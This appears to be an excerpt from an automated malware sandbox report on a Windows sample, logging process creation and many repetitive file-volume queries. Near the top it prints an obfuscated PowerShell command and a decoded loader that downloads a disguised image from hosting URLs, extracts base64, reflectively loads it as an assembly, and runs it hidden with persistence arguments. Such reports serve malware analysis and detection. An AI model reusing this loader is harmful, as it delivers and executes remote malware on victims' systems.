Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$codigo = 'wwbo#gu#d##u#fm#zqby#hy#aqbj#gu#u#bv#gk#bgb0#e0#yqbu#ge#zwbl#hi#xq#6#do#uwbl#gm#dqby#gk#d#b5#f##cgbv#hq#bwbj#g8#b##g#d0#i#bb#e4#zqb0#c4#uwbl#gm#dqby#gk#d#b5#f##cgbv#hq#bwbj#g8#b#bu#hk#c#bl#f0#og#6#fq#b#bz#de#mg#n##o#i##g#c##i##g#c##i##g#c##i##g#c##zgb1#g4#ywb0#gk#bwbu#c##r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#rgby#g8#bqbm#gk#bgbr#hm#i#b7#c##c#bh#hi#yqbt#c##k#bb#hm#d#by#gk#bgbn#fs#xqbd#cq#b#bp#g4#awbz#ck#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##j#b3#gu#ygbd#gw#aqbl#g4#d##g#d0#i#bo#gu#dw#t#e8#ygbq#gu#ywb0#c##uwb5#hm#d#bl#g0#lgbo#gu#d##u#fc#zqbi#em#b#bp#gu#bgb0#ds#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##j#bz#gg#dqbm#gy#b#bl#gq#t#bp#g4#awbz#c##pq#g#ec#zqb0#c0#ugbh#g4#z#bv#g0#i##t#ek#bgbw#hu#d#bp#gi#agbl#gm#d##g#cq#b#bp#g4#awbz#c##lqbd#g8#dqbu#hq#i##k#gw#aqbu#gs#cw#u#ew#zqbu#gc#d#bo#ds#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##zgbv#hi#zqbh#gm#a##g#cg#j#bs#gk#bgbr#c##aqbu#c##j#bz#gg#dqbm#gy#b#bl#gq#t#bp#g4#awbz#ck#i#b7#c##d#by#hk#i#b7#c##cgbl#hq#dqby#g4#i##k#hc#zqbi#em#b#bp#gu#bgb0#c4#r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#k##k#gw#aqbu#gs#kq#g#h0#i#bj#ge#d#bj#gg#i#b7#c##ywbv#g4#d#bp#g4#dqbl#c##fq#g#h0#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i#by#gu#d#b1#hi#bg#g#cq#bgb1#gw#b##g#h0#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##k#gw#aqbu#gs#cw#g#d0#i#b##cg#jwbo#hq#d#bw#hm#og#v#c8#ygbp#hq#ygb1#gm#awbl#hq#lgbv#hi#zw#v#gc#z#bm#gy#zgbm#gy#zgbm#gy#lwbk#gq#z#bk#gq#lwbk#g8#dwbu#gw#bwbh#gq#cw#v#gk#bqbn#f8#d#bl#hm#d##u#go#c#bn#d8#mq#x#dg#mq#x#dc#mw#1#cc#l##g#cc#a#b0#hq#c#bz#do#lw#v#hi#yqb3#c4#zwbp#hq#a#b1#gi#dqbz#gu#cgbj#g8#bgb0#gu#bgb0#c4#ywbv#g0#lwbz#ge#bgb0#g8#bqbh#gw#bw#v#ge#dqbk#gk#d##v#g0#yqbp#g4#lwbp#g0#zwbf#hq#zqbz#hq#lgbq#h##zw#/#de#n##0#dq#mq#3#di#mw#n#ck#ow#n##o#i##g#c##i##g#c##i##g#c##i##g#c##i##k#gk#bqbh#gc#zqbc#hk#d#bl#hm#i##9#c##r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#rgby#g8#bqbm#gk#bgbr#hm#i##k#gw#aqbu#gs#cw#7##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##g#gk#zg#g#cg#j#bp#g0#yqbn#gu#qgb5#hq#zqbz#c##lqbu#gu#i##k#g4#dqbs#gw#kq#g#hs#i##k#gk#bqbh#gc#zqbu#gu#e#b0#c##pq#g#fs#uwb5#hm#d#bl#g0#lgbu#gu#e#b0#c4#rqbu#gm#bwbk#gk#bgbn#f0#og#6#fu#v#bg#dg#lgbh#gu#d#bt#hq#cgbp#g4#zw#o#cq#aqbt#ge#zwbl#ei#eqb0#gu#cw#p#ds#dq#k#c##i##g#c##i##g#c##i##g#c##i##g#c##j#bz#hq#yqby#hq#rgbs#ge#zw#g#d0#i##n#dw#p#bc#ee#uwbf#dy#n#bf#fm#v#bb#fi#v##+#d4#jw#7#c##j#bl#g4#z#bg#gw#yqbn#c##pq#g#cc#p##8#ei#qqbt#eu#ng#0#f8#rqbo#eq#pg#+#cc#ow#g#cq#cwb0#ge#cgb0#ek#bgbk#gu#e##g#d0#i##k#gk#bqbh#gc#zqbu#gu#e#b0#c4#sqbu#gq#zqb4#e8#zg#o#cq#cwb0#ge#cgb0#ey#b#bh#gc#kq#7#c##dq#k#c##i##g#c##i##g#c##i##g#c##i##g#cq#zqbu#gq#sqbu#gq#zqb4#c##pq#g#cq#aqbt#ge#zwbl#fq#zqb4#hq#lgbj#g4#z#bl#hg#twbm#cg#j#bl#g4#z#bg#gw#yqbn#ck#ow#n##o#i##g#c##i##g#c##i##g#c##i##g#c##i#bp#gy#i##o#cq#cwb0#ge#cgb0#ek#bgbk#gu#e##g#c0#zwbl#c##m##g#c0#yqbu#gq#i##k#gu#bgbk#ek#bgbk#gu#e##g#c0#zwb0#c##j#bz#hq#yqby#hq#sqbu#gq#zqb4#ck#i#b7#c##j#bz#hq#yqby#hq#sqbu#gq#zqb4#c##kw#9#c##j#bz#hq#yqby#hq#rgbs#ge#zw#u#ew#zqbu#gc#d#bo#ds#i##n##o#i##g#c	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12 function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $shuffledlinks = get-random -inputobject $links -count $links.length; foreach ($link in $shuffledlinks) { try { return $webclient.downloaddata($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $commandbytes = [system.convert]::frombase64string($base64command); $loadedassembly = [system.reflection.assembly]::load($commandbytes); $type = $loadedassembly.gettype('testpowershell.home'); $method = $type.getmethod('la').invoke($null, [object[]] ('txt.60op/sdaolnwod/wqtretre/kruremlur/gro.tekcubtib//:sptth', '0', 'startupname', 'regasm', '0'))}}" .exe -windowstyle hidden -exec	Jump to behavior

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe

Code function: 0_2_00007FF6975A12EC GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,LocalFree,CloseHandle,

0_2_00007FF6975A12EC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0513~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
